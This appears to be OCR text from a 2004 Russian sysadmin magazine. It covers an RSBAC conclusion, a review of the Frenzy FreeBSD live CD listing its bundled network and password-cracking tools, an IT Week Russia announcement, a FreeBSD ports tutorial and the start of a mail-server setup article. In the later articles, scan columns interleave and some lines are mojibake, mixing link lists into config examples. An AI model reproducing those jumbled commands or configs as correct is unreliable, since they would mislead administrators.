лей, выбираем пункт «Add ACL Entry:Add group, role or user
entry», где выбираем пользователя из списка (или созда-
ем отдельную ACL group), и для него появляется свой спи-
сок атрибутов для данного объекта. Таким образом мож-
но установить параметры с любой точностью.
№1(14), январь 2004
администрирование
Остальные модули разбирать, пожалуй, сейчас не бу-
дем. Но из всего рассказанного должно быть понятно,
что технология RSBAC позволяет избавиться от тради-
ционных недостатков Unix-систем, тем самым суще-
ственно поднять уровень защиты и задавать индивиду-
альные параметры для каждого пользователя и объекта
доступа. На данный момент технология RSBAC приме-
няется в четырех дистрибутивах: ALTLinux Castle (http://
castle.altlinux.ru/), Kaladix (http://www.kaladix.org/), Trusted
Debian (http://www.trusteddebian.org/) и базирующийся на
Debian LiveCD, который можно найти на сайте (http://
livecd.rsbac.org/). Последний позволяет познакомиться с
данной технологией, не устанавливая все на жесткий
диск. Кроме множества документации, имеющейся на
www.rsbac.org, по-русски можно прочитать в статье од-
ного из разработчиков RSBAC Станислава Иевлева
«RSBAC для начинающих» (http://linux.ru.net/~inger/
RSBAC-DOC.html).
57
администрирование

БЕЗУМНЫЙ ЧЕРТЕНОК

О Frenzy (пер. с англ. – безумие) я узнал из новостей портала www.opennet.ru

(http://www.opennet.ru/openforum/vsluhforumID3/2341.html).
Этот проект меня заинтересовал. Так что же это такое?

АЛЕКСАНДР БАЙРАК

58

Процитирую разработчика: «Целью проекта Frenzy являет-
ся создание «портативного инструмента системного адми-
нистратора» на базе ОС FreeBSD (FreeBSD 4.8-STABLE –
прим. авт.), который было бы удобно постоянно иметь при
себе. Frenzy представляет собой загрузочный mini-CD (раз-
мер 3.5", объем 185 Мб), загрузившись с которого, адми-
нистратор получает полностью работоспособную систему
с набором программного обеспечения для настройки, про-
верки и анализа сети, тестирования компьютерного «же-
леза» и ряда других задач». Как тут не заинтересоваться?
Системные требования более чем обрадовали: для нор-
мальной работы нужен компьютер на базе Pentium I и выше,
64 Мб ram (в новой верcии планируется обеспечить работу
и на 32 Мб) CD-ROM, даже HDD не требуется.
Полный решимости немедленно проверить, так ли это
на самом деле, я решил ее списать непосредственно с сайта
разработчика (http://frenzy.icc.melitopol.net), но тут меня
ждал сюрприз: вожделенный дистрибутив списать было
нельзя, потому как у разработчика просто не было места в
сети, где бы можно было разместить iso-образ диска. Я
немного расстроился, но все же поместил ссылку на этот
сайт в свои bookmarks и как-то позабыл о его существова-
нии. Через месяц я снова посетил этот сайт и с интересом
узнал, что сей продукт наконец-то можно списать. Сказа-
но – сделано: frenzy_v01b10.iso.bz2 размером немногим
больше 65 Мб лежит у меня на HDD. Далее я распаковал
архив и записал имеющийся в нем iso-образ на диск.
Загрузка
Загружаемся, в качестве login используем root, пароль не
требуется. Приятно, что при загрузке система нашла и
смонтировала ufs-разделы, которые имели место быть на
моем HDD, также был смонтирован линуксовый ext2 и вин-
довый fat32 (тут особенно приятно, что названия немно-
гочисленных файлов с кириллическими именами отобра-
жались правильно, не в виде знаков вопроса), все фай-
ловые системы были смонтированы в режиме read only.
А как же быть, если на эти разделы нужно что-нибудь за-
писать? Очень просто, сначала размонтировать требуе-
мый раздел, а потом смонтировать его снова. Система
по непонятной для меня причине решила также примон-
тировать дискету, но, естественно, за неимением после-
дней в дисководе ничего у нее не вышло. Зачем произво-
дились такие манипуляции, я узнал позже. Раздел с Solaris,
надо сказать, замечен и, как следствие, смонтирован не
был. Стартовал ipfw со следующими правилами:
№1(14), январь 2004
администрирование
00100 allow ip from any to any via lo0
00200 deny ip from any to 127.0.0.0/8
00300 deny ip from 127.0.0.0/8 to any
65000 allow ip from any to any
Сначала меня несколько смутило такое положение ве-
щей, потому как я придерживаюсь принципа – «сначала
все закрыть, а потом открыть то, что нужно для работы»,
но, с другой стороны, в Frenzy по умолчанию не запуска-
ется ни одного сетевого сервиса, отсюда следует, что в
основном все соединения будут исходящие. В случае если
firewall закрывал все по умолчанию, сразу после загрузки
пришлось бы лезть править настройки, чтоб, например,
протестировать сеть или что-либо списать. При загрузке
системы в памяти создаются memory-диски для разме-
щения разделов /dev (4 Мб), /etc (1 Мб), /var (16 Мб), /mnt
(256 Мб), /root (8 Мб). Система не перестает радовать, ока-
зывается, она автоматически распознала и использова-
ла swap моей основной системы FreeBSD для собствен-
ного применения (в ином случае swap-раздел можно сде-
лать с помощью скрипта makeswap.
Работа в системе
Ядро системы скомпилировано с поддержкой основных
типов HDD, распространенных сетевых карт, некоторых
USB-устройств. Первым делом я решил настроить сеть.
Настройка локальной сети осуществляется с помощью
скрипта lan-config, для настройки PPP используется ppp-
config. Настройка сети не вызывает каких-либо затрудне-
ний. Система поставляется с полным «джентльменским»
набором софта. Что же есть в системе и уже доступно
для использования? Для удобства описания весь софт раз-
делен мной на группы.

Командные интерпретаторы: sh, csh, tcsh (а вот моего
любимого bash нет).

Работа с файлами: Demos Commander 3.8.1e; Midnight
Commander 4.6.0; X Northern Capitan 5.0.2. В эту груп-
пу также отнесем: mtools 3.9.8 + MtoolsFM 1.9.3 – эти
утилиты служат для работы с дискетами с FAT12 без
монтирования.

Архиваторы: cabextract 0.6; rar 3.2; unace 1.2; unarj 2.43;
unlzx 1.0; unzip 5.50; zip 2.3.

Текстовые редакторы: Gnotepad+ 1.3.3; Joe 2.8.

Браузеры: Opera 6.12; Lynx 2.8.4.1; Links 0.98;

Почта и новости: Sylpheed-claws 0.8.10, mutt 1.4.1i.

ICQ: CenterICQ 4.9.4; Licq 1.2.6.

IRC: XChat 1.8.10 (интересно, почему нет BitchX?).

FTP: IglooFTP 0.6.1.

Downloader: wget 1.8.2.

Тесты, мониторинг системы: bytebench 3.1; cpuburn 1.4;
crashme 2.4; memtest 2.93.1; ree 1.3; pciutils 2.1.11;
gkrellm 1.2.13; xosview 1.8.0; lmmon 0.65.

Восстановление данных: fatback 1.3; ffsrecov 0.5; gpart
0.1h; testdisk 4.4.

Сетевые утилиты: LinNeighborhood; rdesktop 1.2.0; tightvnc
1.2.8; arping 1.07, datapipe 1.0, dhcpdump 1.5, dhcping 1.2,
dlint 1.4.0, dnrd 2.10, dnstracer 1.7, echoping 5.0.1, ettercap
0.6.7, fping 2.4b2, echolot 0.1, smbproxy 1.0, icmpinfo 1.11,
icmpquery 1.0.3, ipcalc 0.35, lft 2.0, nat 2.0, nbtscan 1.0.2,
p0f 1.8.2, queso 980922, sniffit 0.3.7b, trafshow 3.1.
59
 администрирование

Безопасность: nessus 2.0.4; nmap 3.28 + nmapFE; ethereal
0.9.10; drweb 4.29.2; chkrootkit 0.41; amap 1.2.1, arirang 1.6,
firewalk 1.0, fragrouter 1.6, ddos_scan 1.6, dsniff 2.3, hping
2.0, lxnb 0.4, proxytunnel 1.0.6, radusniff 0.2, sniff 1.0, snort
2.0.0, snort-rep 1.10, strobe 1.06, subweb 1.0, whisker 1.4 apg
2.1.0, cmospwd 4.3, john 1.6.33, l0phtcrack 1.5, pwl9x 0.0.7.

Графическая оболочка: XFree86 4.2.0 с TTF-шрифтами.

Оконный менеджер: icewm 1.2.0.

Переключатель клавиатуры: xxkb 1.10.

Х-терминал rxvt 2.6.4.

Мультимедиа: GQview 1.1.1; xmixer 0.9.4; mp3blaster
3.1.3; mikmod 3.1.6; XMMS 1.2.7; mpg123; gtkballs.
Впечатляет? И все это на маленьком mini-CD диске.
Что еще нужно админу для счастья? Все есть: монито-
ринг и тест железа, и сеть есть чем протестировать, для
работы в Интернете все есть, даже для Xfree86 и оконно-
го менеджера нашлось место. MP3, и то послушать мож-
но. Также ко всему этому имеются архиполезные man-
страницы. Нельзя не заметить, что в системе присутству-
ет Perl. Связка XFree86 + icewm стартует без каких-либо
проблем, даже без предварительной настройки, аскетич-
ный icewm показался мне очень симпатичным. Просидел
я с этой системой часа 2, настроил все под себя, попра-
вил некоторые файлы конфигурации. Глупо, скажете вы,
ведь после перезагрузки придется все вновь настраи-
вать… ан нет, есть скрипт backup, остается только найти
чистую дискету с FAT12 (для тех, кто не знает: FAT12 –
стандартная для дискет, отформатированных в Windows,
файловая система). Скрипт архивирует и сохраняет сле-
дующие директории: /etc; /root; /etc/local/etc. А вот почему
не сохраняется /var, осталось для меня загадкой. Помни-
те, я упомянул о том, что система при загрузке автомати-
чески пытается смонтировать дискету, так вот и разгад-
ка: система пытается восстановить настройки, если тако-
вые были сохранены. С восстановлением настроек после
перезагрузки каких-либо затруднений не зафиксировано.
Нашлось и несколько негативных моментов в этой систе-
ме. После восстановления настроек система не видела
сеть, оказывается, хоть настройки сети и хранятся в /etc/
rc.conf, который сохраняет скрипт, но данные из него чи-
таются до восстановления настроек. А посему сеть при-
шлось настроить снова, благо это нетрудно.
60
Второй момент, я не смог смонтировать NFS, mount_nfs
просто отсутствует в системе. Дальше больше, на одной
из моих машин установлена FreeBSD 5.1, и, соответствен-
но, все файловые системы ufs2, а FreeBSD 4.8, на кото-
рой основан этот дистрибутив, их не поддерживает. В этот
же день дал эту систему на пробу одному знакомому, и
вместе с ней дал дискетку с сохраненными настройками,
знакомый пришел через полчаса ругаясь – «XFree86 не
стартует!». Странное дело, подумал я, пошел разбирать-
ся. Запускаю систему с использованием сохраненных на
дискете настроек – XFree86 «ругается» и не стартует, за-
пускаю без нее – все нормально. Оказывается, на диске-
ту записывается и XF86Config, который я сконфигуриро-
вал непосредственно для своего железа. Проблема ре-
шилась просто – имеющийся XF86Config я просто удалил,
и запустил /frenzy/scripts/x11-detect/1.cardDetect.sh, после
чего XFree86 запустился без каких-либо проблем. Но даже
эти моменты не могли испортить хорошего впечатления о
системе. Если вы не нашли чего-либо, что необходимо
вам для работы, вы можете попробовать своими силами
собрать подобный дистрибутив, воспользовавшись скрип-
тами и патчами, которые разработчик любезно собрал во-
едино и выложил на http://another-level.icc.melitopol.net/
frenzy/frenzy01.tbz. Надо заметить, что вышеуказанные
скрипты не являются полностью автоматизированными,
так что все придется подправлять руками.
Завершаю свой небольшой обзор этого замечательного
дистрибутива. Я нашел для себя новый и очень удобный
инструмент для выполнения своих каждодневных обязан-
ностей, который стал для меня незаменимым помощником
и всегда со мной. Этот дистрибутив можно посоветовать
всем людям, которые хотели бы познакомиться с миром
UNIX-систем, и с FreeBSD в частности. А в том, что этот ди-
стрибутив окажется полезным как системным, так и сете-
вым администраторам, я не сомневаюсь. Судя по тому, как
динамично развивается этот проект, с уверенностью можно
сказать, что все мы получили уже знакомый нам продукт
(это я о FreeBSD) в новом обличье, который готов служить
нам верой и правдой сразу после загрузки.
Примечание: На данный момент уже вышла версия
Frenzy 0.2, в которой исправлены многие недоработки и
обновлен набор программного обеспечения. Сайт проек-
та переехал на http://frenzy.org.ua/.
 УНИКАЛЬНЫЕ СОБЫТИЯ
НА КОМПЬЮТЕРНОМ РЫНКЕ
Впервые организованная в 1989 году, выставка Неделя
Информационных Технологий «IT Week Russia», изве-
стная в прошлом как Comtek, за пятнадцать лет своего
существования пережила и взлеты и падения. В преды-
дущие годы в Неделю Информационных Технологий вхо-
дила выставка Сomtek, которая состояла из нескольких
направлений, и конференция E-Business. Развитие выс-
тавки в течение последних лет привело к необходимос-
ти выделить отдельные разделы в самостоятельные вы-
ставки. С этого года в Неделю Информационных Техно-
логий будут входить пять самостоятельных выставок и
две конференции. Этот шаг позволил расширить масш-
таб выставки, объединяющей все аспекты компьютер-
ного бизнеса, что, в свою очередь, дает возможность
привлечь к участию в выставке большее число компа-
ний, занятых во всех сферах индустрии информацион-
ных технологий.
Давид Патеишвили, директор выставки, сказал: «В
этом году мы расширили темы, представленные на экс-
позиции, которые теперь охватывают все области компь-
ютерной индустрии. Это дает превосходную возможность
и участникам, и посетителям выставки принять участие и
ознакомиться сразу с пятью выставками и двумя конфе-
ренциями, проходящими в одно время и в одном месте.
Это также позволит нам улучшить маркетинговую и рек-
ламную кампании для каждой из выставок и конферен-
ций, проходящих в рамках Недели Информационных Тех-
нологий, с учетом целевой аудитории, специфичной для
каждой из них. Хочется добавить, что некоторые выстав-
ки, которые будут проходить в рамках Недели Информа-
ционных технологий, не имеют аналогов в России, явля-
ясь тем самым уникальными».
В рамках Недели Информационных Технологий прой-
дут следующие выставки и конференции:
1. Personal Computing Expo – общая, неспециализиро-
ванная выставка, ориентированная на конечных
пользователей. В ней представлены производители и
дистрибьюторы персональных компьютеров и перифе-
рии, компьютерных игр, дистрибьюторы сотовой тех-
ники и портативных компьютеров, интернет- и контент-
провайдеры и многие другие.
2. Hardware & Peripherals Expo – специализированная
выставка, на которой представлены: компьютеры, мо-
ниторы, периферийные устройства, комплектующие,
накопители, коммуникационное оборудование и услу-
ги, т.е. весь спектр hardware, ориентированного на ве-
дение бизнеса.
3. Международная конференция eLearning Russia (Ин-
формационные технологии в образовании), на которой
будут освещены последние достижения образователь-
ных технологий в школах, вузах, а также рассмотрены
вопросы дистанционного и бизнес-образования.
№1(14), январь 2004
4. Software Expo – специализированная выставка, ори-
ентированная на программные продукты для систем
бухгалтерского и складского учета, комплексного ПО
управления предприятием, систем управления доку-
ментооборотом, систем распознавания документов,
разработку ПО, защиту информации. В рамках этой
выставки будет подготовлен цикл тематических семи-
наров, посвященных актуальным вопросам в области
разработки экономических программ и систем управ-
ления бизнесом.
5. Специализированная выставка CAD/CAM/CAE пред-
ставляет системы автоматизированного проектиро-
вания. Для большинства российских производителей
необходимость использования САПР для оптимиза-
ции работы предприятия стала очевидной. Особенно
ярко это проявляется в таких отраслях, как авиастро-
ение, автомобилестроение, тяжелое машинострое-
ние, архитектура, строительство, нефтегазовая про-
мышленность.
6. eLearn Expo – специализированная выставка, на ко-
торой будут демонстрироваться новейшие продукты
и технологии в сфере электронного обучения, пред-
назначенные для коллективного и индивидуального
пользования. Дистанционное обучение через сети
Internet и Intranet, получившее широкое распростра-
нение в развитых странах, становится все более ак-
туальным и для России.
7. eBusiness Russia (Электронный бизнес в России) –
международная конференция, посвященная вопросам
автоматизации бизнес-процессов, развития электрон-
ной коммерции, подбора ИТ-персонала.
Выставка IT-week остается ведущей международной
выставкой информационных технологий в России и стра-
нах СНГ. Это уникальное место для проведения перего-
воров с первыми лицами сразу нескольких крупных фирм-
поставщиков оборудования и решений. Практически все
крупные западные вендоры присутствуют на выставке не-
посредственно или при посредстве своих российских парт-
неров.
В соответствии с растущими потребностями рынка и
увеличением числа участников экспозиция расширила
площадь, которая в этом году составит 8000 кв. м. В вы-
ставках, которые пройдут в течение 4 дней, примут уча-
стие 250 ведущих компаний отрасли из 25 стран мира.
Ожидается, что число посетителей выставки превысит
75 000 человек, включая руководителей верхнего и сред-
него звена, технических специалистов и IT-администра-
торов, из более 500 городов России и СНГ.
«IT Week 2004», 15-ая Международная Выставка Ин-
формационных Технологий пройдет в «Экспоцентре» на
Красной Пресне в Москве с 26 по 29 апреля 2004 года.
61
администрирование

ЭФФЕКТИВНАЯ РАБОТА
С ПОРТАМИ В FreeBSD
Статья полностью посвящена портам
в FreeBSD, хотя большинство примеров
актуальны и для других *BSD-систем.

ВЛАДИМИР ОСИНЦЕВ

62

В рамках данной статьи «порт» происходит от слова
«портировать» и обозначает скрипт, с помощью кото-
рого можно просто установить программу в систему из
исходников или удалить ее из системы. Давным-давно
в FreeBSD образовалась так называемая «коллекция
портов», которая на данный момент насчитывает бо-
лее 9000 программ.
Система портов конкурирует с прекомпилированны-
ми rpm- и deb-пакетами, являясь более удобным сред-
ством для установки и удаления программ, обновления
как отдельных, так и всех компонентов системы (стоит
отметить, что порты не предоставляют альтернативу и яв-
ляются ОС-зависимыми). Все основные системы BSD-се-
мейства (NetBSD, OpenBSD, ну и, конечно, FreeBSD) ос-
нащены своими коллекциями портов. Аналогом портов об-
ладают все «source-based» дистрибутивы GNU/Linux, са-
мый известный из которых – Gentoo (http://gentoo.org), со
своей системой портежей («portage»).
С помощью портов программы устанавливаются из
исходных текстов, т.е. закачиваются исходники, распа-
ковываются, настраиваются, компилируются и устанав-
ливаются в систему, всю работу на себя берет порт. Но
также система портов умеет работать и с прекомпили-
рованными пакетами с расширением tbz, что представ-
ляет собой tar.bz2 архив с дополнительной информа-
цией в конце файла.
В рамках статьи и порт, и пакадж, и пакет обозначают
одно и то же. Сегодня мы не будем рассматривать обнов-
ление дерева портов с помощью утилиты CVSup, читайте
соответствующую главу «FreeBSD Handbook».
Поиск по коллекции портов
В коллекции портов находится свыше 9000 программ,
поэтому эффективный поиск очень важен. Система пор-
тов предоставляет достаточно обширные средства поис-
ка, самое простое и популярное из них:
# cd /usr/ports
# make search name=opera
Port: opera-7.21.20031013
Path: /usr/ports/www/opera
Info: A blazingly fast, full-featured, ↵
standards-compliant browser
Maint: avleeuwen@piwebs.com
Index: www
B-deps: ...
R-deps: ...
...
Здесь был использован поиск по названию порта (был
выведен список портов, в названии которых встречается
слово «opera»), как альтернативу, можно использовать по-
иск по ключевому слову:
# make search key=dvd
Port: dvdrip-0.48.8
Path: /usr/ports/multimedia/dvdrip
Info: This is dvd::rip, a Perl Gtk+ based dvd-ripper
Maint: michaelnottebrock@gmx.net
Index: multimedia
B-deps: ...
R-deps: ...
...
Более расширенные средства поиска предоставля-
ет скрипт «portsearch», который находится в каталоге
№1(14), январь 2004
администрирование
/usr/ports/Tools/scripts. Нужно сказать, что в этом ката-
логе есть много полезных скриптов, из которых сегод-
ня мы рассмотрим лишь малую часть (читайте README,
чтобы узнать назначение других скриптов из этого ка-
талога).
Главное отличие «portsearch» от «make search» – это
поддержка логических выражений, как в Perl, к тому же
возможность поиска не только «в названии» или «по клю-
чевому слову».
Как пример рассмотрим:
# ñd /usr/ports/Tools/scripts
# ./portsearch -n "^xmms" -p "(audio|multimedia)" -i "plugin"
Эта команда выведет список портов, название ко-
торых начинается с xmms (выражение ^xmms), из ката-
логов /usr/ports/audio или /usr/ports/multimedia (выраже-
ние (audio|multimedia)), в описании которых есть слово
«pligin». Описание других ключей смотрите в файле
README.portsearch из каталога программы.
Как вариант, утилита «portsearch» может производить
поиск по дереву портов, которое находится на удаленной
машине, например, поиск по самой последней версии
портов может выглядеть так:
# ./portsearch -n "^xmms" -f ↵
ftp://ftp.freebsd.org/pub/FreeBSD/branches/-current/ports/INDEX
Информация о коллекции портов индексируется в
файле /usr/ports/INDEX, чтобы поиск был максимально
быстрым, но при изменении в дереве портов файл
INDEX, который используют, и «make search», и «port-
search» остается прежним. Для повторного индексирова-
ния портов:
# cd /usr/ports && make index
Просмотр зависимостей
Один из способов просмотра зависимостей того или ино-
го порта является:
# cd /usr/ports/www/opera
# make pretty-print-build-depends-list
This port requires package(s) "XFree86-libraries-4.3.0_5
compat4x-i386-5.0.20030328 expat-1.95.6_1 fontconfig-2.2.0
freetype2-2.1.4_1 imake-4.3.0 perl-5.6.1_13 pkgconfig-0.15.0
png-1.2.5_2" to build.
Мы получили список необходимых пакетов для сбор-
ки порта веб-браузера «Opera». Как вариант можно ис-
пользовать «make pretty-print-run-depends-list» для про-
смотра Run-зависимостей (пакеты, необходимые для за-
пуска порта).
Проверка зависимостей до удаления
До того как удалить пакет из системы, неплохо посмот-
реть список пакетов, которые зависят от него, чтобы ни-
чего не сломать. Например, по команде «pkg_info | less»
вы увидите, что в системе установлен пакет ORBit2-2.6.2.
Название пакета ничего не говорит, по-моему, вы его ни
разу не использовали, и хорошо было бы удалить его,
но сначала посмотрим, какие пакеты зависят от него.
63
 администрирование
# pkg_info -R ORBit2-2.6.2
Information for ORBit2-2.6.2:
Required by:
libgnome-2.2.0.1
nautilus2-2.2.4
gnome2-2.2.1_1
...
Как видим, удалять этот пакет было плохой идеей,
т.к. от него зависят необходимые нам программы и биб-
лиотеки. Нарушение зависимостей в лучшем случае при-
ведет к неработоспособности программы. Конечно, при
попытке удаления командой «pkg_delete ORBit2-2.6.2»
мы увидим то же самое сообщение о зависимых от него
пакетах и ORBit2 не будет удален, но лучше все равно
делать это с помощью «pkg_info».
Просмотр установленных пакетов
«pkg_info» – утилита для просмотра установленных паке-
тов. Настоятельно рекомендую прочитать man-страницу,
т.к. сегодня мы рассмотрим лишь пару возможностей.
При использовании ключа «-a» будет отображена ин-
формация о всех установленных пакетах, как альтер-
нативу вы можете использовать название пакета. На-
пример, команда «pkg_info -ac» выдаст короткие ком-
ментарии (ключ «-c») ко всем установленным пакетам,
в свою очередь «pkg_info -c sudo-1.6.7.4» выдаст ком-
ментарий к пакету «sudo». Если вы хотите прочитать
полное описание вместо коротких комментариев, ис-
пользуйте ключ «-d» вместо «-c».
Если вам, как и мне, не очень нравится помнить вер-
сию пакета, то с помощью ключа «-x» можно избавить-
ся от этой необходимости.
# pkg_info -xc sudo
Information for sudo-1.6.7.4:
Comment:
Allow others to run commands as root
Эта команда равнозначна предыдущей, но она вы-
ведет информацию о всех установленных пакетах, чье
название начинается с sudo (в нашем случае это един-
ственный пакет).
Просмотр подробной информации
о пакетах
После инсталляции порта (особенно в автономном ре-
жиме) неплохо посмотреть, были или нет post-install-со-
общения, для этого используется ключ «-D». Например,
я поcтавил на ночь обновляться систему, среди всех
портов был www/opera (одноименный веб-браузер), а
уже утром я смог посмотреть какие были сообщения от
всех портов и от www/opera в частности, для этого
«pkg_info -xD opera», теперь я знаю, что при апгрейде
веб-браузера от 6.x до 7.x нужно сделать backup ката-
лога ~/.opera, иначе вся информация (история, заклад-
ки, почта и прочее) могла быть утеряна.
Еще один полезный ключ «-L», позволяет просмотреть
список установленных файлов из данного порта.
Например:
# pkg_info -xL opera
64
Information for opera-7.21.20031013:
Files:
/usr/X11R6/bin/opera
/usr/X11R6/share/doc/opera/LICENSE
/usr/X11R6/share/doc/opera/help
/usr/X11R6/share/opera/bin/m2.so
...
Хороший способ узнать, что и куда устанавливалось.
Навигация по коллекции портов
При обновлении дерева портов файлы README.html,
которые генерируются при помощи информации из са-
мого порта, остаются старыми и могут отражать уста-
ревшую информацию: сайт программы, описание, Run
и Build зависимости. Для обновления README-файлов
сделайте:
# ñd /usr/ports
# make readmes
Далее вы можете просматривать актуальную инфор-
мацию при помощи вашего любимого браузера. Ту же ин-
формацию вы можете найти на http://freebsd.org/ports.
Статус установленных пакетов
Один из способов посмотреть список установленных па-
кетов – это утилита «pkg_version».
# pkg_version | less
gnome2 =
nvidia-driver <
opera =
vim <
...
Мы получили список всех установленных пакетов, ко-
торый состоит из названия и одного символа, из них ос-
новные:

«=» – установлена последняя версия пакета;

«<« – доступна для установки новая версия пакета,
рекомендую обновиться;

«>» – когда установленная версия старше, чем в кол-
лекции портов. Иногда бывает, когда, например, уста-
навливаются самодельные порты.
Теперь попробуем просмотреть список пакетов, кото-
рые нужно обновить:
# pkg_version -l "<"
nvidia-driver <
vim <
...
Обычно, «pkg_version» используют после обновления
локальной коллекции портов, например, с помощью
CVSup (об этом читайте в FreeBSD Handbook). Но можно
проверить статус установленных пакетов относительно
«свежей» коллекции портов:
# pkg_version -v ftp://ftp.freebsd.org/pub/FreeBSD/ ↵
branches/-current/ports/INDEX | less
При необходимости можно использовать ключ -l (см.
выше) для просмотра только тех пакетов, которые уже
устарели.

Проверка целостности установленных
пакетов
Еще одна интересная утилита «consistency-check» по-
зволяет проверить целостность установленных в сис-
тему пакетов. При запуске:
# cd /usr/ports/Tools/scripts
# ./consistency-check
Утилита покажет вам, из каких пакетов какие фай-
лы были удалены, изменены и файлы, которые не при-
надлежат не одному из портов. Данную утилиту полез-
но использовать не только для общего мониторинга
системы, но и как security-сканер, т.к. вы всегда може-
те посмотреть, у каких файлов md5checksum отличает-
ся от оригинальных.
Освобождение свободного места
на диске
Когда порт устанавливается в систему на локальный
компьютер, в директорию /usr/ports/distfiles закачива-
ются необходимые исходные тексты, после чего порт
компилируется и инсталлируется.
При обновлении порта уже закачиваются новые вер-
сии исходников (старые остаются). При удалении пор-
та исходные тексты также остаются в distfiles/. Через
какое-то время мы получаем, что distfiles/ содержит
очень мало «нужного».
Конечно, вместо «make install clean» можно исполь-
зовать «make install clean distclean», т.е. после загруз-
ки, сборки и установки исходники будут удалены, но не-
обходимо, чтобы в distfiles/ сохранялись только свежие
исходники – это позволяет сэкономить трафик и время
при медленном канале, а значит, и ваши деньги.
Для очистки диска нам понадобится набор утилит
«portupgrade», который нужно обязательно иметь, если
вы так или иначе собираетесь использовать порты. Если
порт не установлен, тогда:
# cd /usr/ports/sysutils/portupgrade
# make install clean
Теперь можно начать с удаления каталогов work/, в
которых находятся уже распакованные исходные тексты,
которые мы забыли удалить при помощи цели «clean»,
которую мы добавляем к «make».
# portsclean -C
Cleaning out /usr/ports/*/*/work...
Delete /usr/ports/news/gnus-emacs20/work
...
Утилита имеет еще одну возможность, которая нас
интересует больше всего: удаление неактуальных фай-
лов из distfiles/
# portsclean -DD
Detecting unreferenced distfiles...
Delete /usr/ports/distfiles/KDE/qt-x11-free-3.1.2.tar.bz2
...
Эту же операцию можно проделать и с помощью встро-
енной утилиты «distclean»:
№1(14), январь 2004
администрирование
# cd /usr/ports/Tools/scripts
# ./distclean
Она проделает то же самое: сверит md5checksum
исходных текстов из установленных портов и удалит те,
которые не соответствуют. Заметьте, что будут удале-
ны, например, еще недокачанные файлы, потому что
md5checksum отличается от полного файла.
Настройка параметров коллекции портов
Когда вы установили пакет «portupgarde» в системе,
кроме всего, в каталоге /usr/local/etc были созданы фай-
лы pkgtools.conf и pkgtools.conf.sample. Sample-файл ос-
тавьте как есть, он имеет хорошие комментарии и по-
служит хорошим примером.
Файл pkgtools.conf содержит параметры переменных
окружения для утилит из пакета «portupgrade». Напри-
мер, по умолчанию директория для хранения временных
файлов является /var/tmp. На некоторых системах, где
под раздел /var отведено недостаточно места, могут воз-
никнуть проблемы. Для их решения достаточно сделать
так, чтобы временные файлы хранились не в /var/tmp, а
к примеру на /usr/tmp. Для этого в pkgtools.conf доста-
точно изменить строку:
# ENV['PKG_TMPDIR'] ||= '/var/tmp'
на
ENV['PKG_TMPDIR'] ||= '/usr/tmp'
Обратите внимание на символ «#»: вы должны рас-
комментировать строку, иначе значение переменной ок-
ружения не вступит в силу.
Другая интересная часть файла pkgtools.conf – это
«IGNORE_CATEGORIES». В этом массиве, который по
умолчанию пуст, содержатся названия игнорируемых
категорий (директории в /usr/ports), обычно игнориру-
ются языковые категории. Лично у меня игнорируются
следующие категории: chinese, french, german, hebrew,
japanese, korean, ukrainian, vietnamese, astro, biology,
palm, portuguese, hungarian, games.
Заполните массив «IGNORE_CATEGORIES», как это
сделано в комментариях файла pkgtools.conf, после чего
обязательно выполните команду:
# portsdb -Ufu
Которая обновит информацию о коллекции портов.
В итоге поиск в игнорируемых каталогах производить-
ся не будет и порты из этих категорий будут удалены
из Run и Build зависимостей других портов.
Настройка параметров сборки порта
В файле pkgtools.conf (см. выше) есть возможность за-
дать массив «MAKE_ARGS», в котором хранятся пара-
метры сборки портов. Чтобы понять, о чем идет речь,
нужно вспомнить, что некоторые порты мы собираем с
указанием параметров, например, «ITH_GUI=yes» при
сборке порта multimedia/mplayer, т.е.:
65
 администрирование
# cd /usr/ports/multimedia/mplayer
# make WITH_GUI=yes WITH_LANG=ru install clean
Этот массив служит для того, чтобы не задавать пара-
метры каждый раз при сборке порта, т.е. при команде
«portupgrade» пакеты будут обновлены с заданными па-
раметрами.
По умолчанию в файле pkgtools.conf массив
«MAKE_ARGS» пуст, исправьте его, чтобы он выглядел,
например, так:
Затем идет «=>», после чего список параметров, который
также заключается в одиночные кавычки. Как видите,
элементы массива записываются через запятую.
Заключение
Вот, наверное, и все. Как видите, порты – это очень мощ-
ная и удобная система, которой нужно просто уметь
пользоваться, а уметь ею пользоваться просто, как вы
сегодня узнали.

MAKE_ARGS = {
'multimedia/mplayer-*' => 'WITH_GUI=yes WITH_LANG=ru',
Ссылки:
'multimedia/xmms-*' => 'WITHOUT_MIKMOD=yes', 1. http://freebsd.org
} 2. http://freebsd.org/ports
3. http://freshports.org
Запись имеет следующий синтаксис: название порта 4. http://freshmeat.net
пишется вместе с названием категории, заключается в оди- 5. http://sourceforge.net
ночные кавычки и должно оканчиваться на символы «-*». 6. http://freebsd.org.ru

66
администрирование

ПОЧТОВЫЙ СЕРВЕР С ЗАЩИТОЙ

ОТ СПАМА И ВИРУСОВ НА ОСНОВЕ
FreeBSD

В данной статье будет описана процедура настройки почтового сервера для фильтрации спама
и проверки входящей и исходящей почты на вирусы. В качестве базовой системы я использовал
связку FreeBSD 5.1 + Sendmail + SpamAssassin + Kaspersky Antivirus.

ГЕННАДИЙ ДМИТРИЕВ

68
 администрирование
Так сложилось, что изучать Unix-системы я начал имен- cd /home/user
но с FreeBSD, и много позже довелось настраивать мно- mkdir cvsup
cd cvsup
гие Linux-системы. На мой взгляд, очень субъективный,
FreeBSD имеет самую грамотную организацию. Что ка- Далее в домашнем каталоге создаем для большего
сается почтовой программы Sendmail, с давних пор ис- удобства два файла. Один со списком обновляемых пор-
пользую её в качестве базовой, остальные пакеты – тов, другой со скриптом запуска.
SpamAssassin, Kaspersky Antivirus и модули для подклю-
чения к почтовому серверу были выбраны эксперимен- cd /home/user
mkdir cvsup
тально. С десяток компонентов, перепробованных мной, cd cvsup
либо некорректно работали, либо давали неприемле-
vi cvsup.ports
мый результат. # =====íà÷àëî ôàéëà cvsup.ports=========
Вы можете легко использовать данный документ, на- *default host=cvsup.FreeBSD.org
*default base=/usr
страивая систему на FreeBSD 4.5-4.9, 5.0, но важным зве- *default prefix=/usr
ном является обновление дерева портов, поскольку в про- *default release=cvs
*default tag=.
шлых версиях FreeBSD многие модули отсутствуют. Обно- *default delete use-rel-suffix compress
вив дерево портов, вы получите доступ в этим модулям.
ports-mail
Ограничения по количеству обслуживаемых пользо- ports-net
вателей на саму систему вряд ли распространяются. Они ports-security
ports-sysutils
устанавливаются только железом. Сервер P4 512 Мб RAM ports-www
18 Гб SCSI HDD может легко обслужить 4-5 сотен пользо- # =====êîíåö ôàéëà cvsup.ports==========
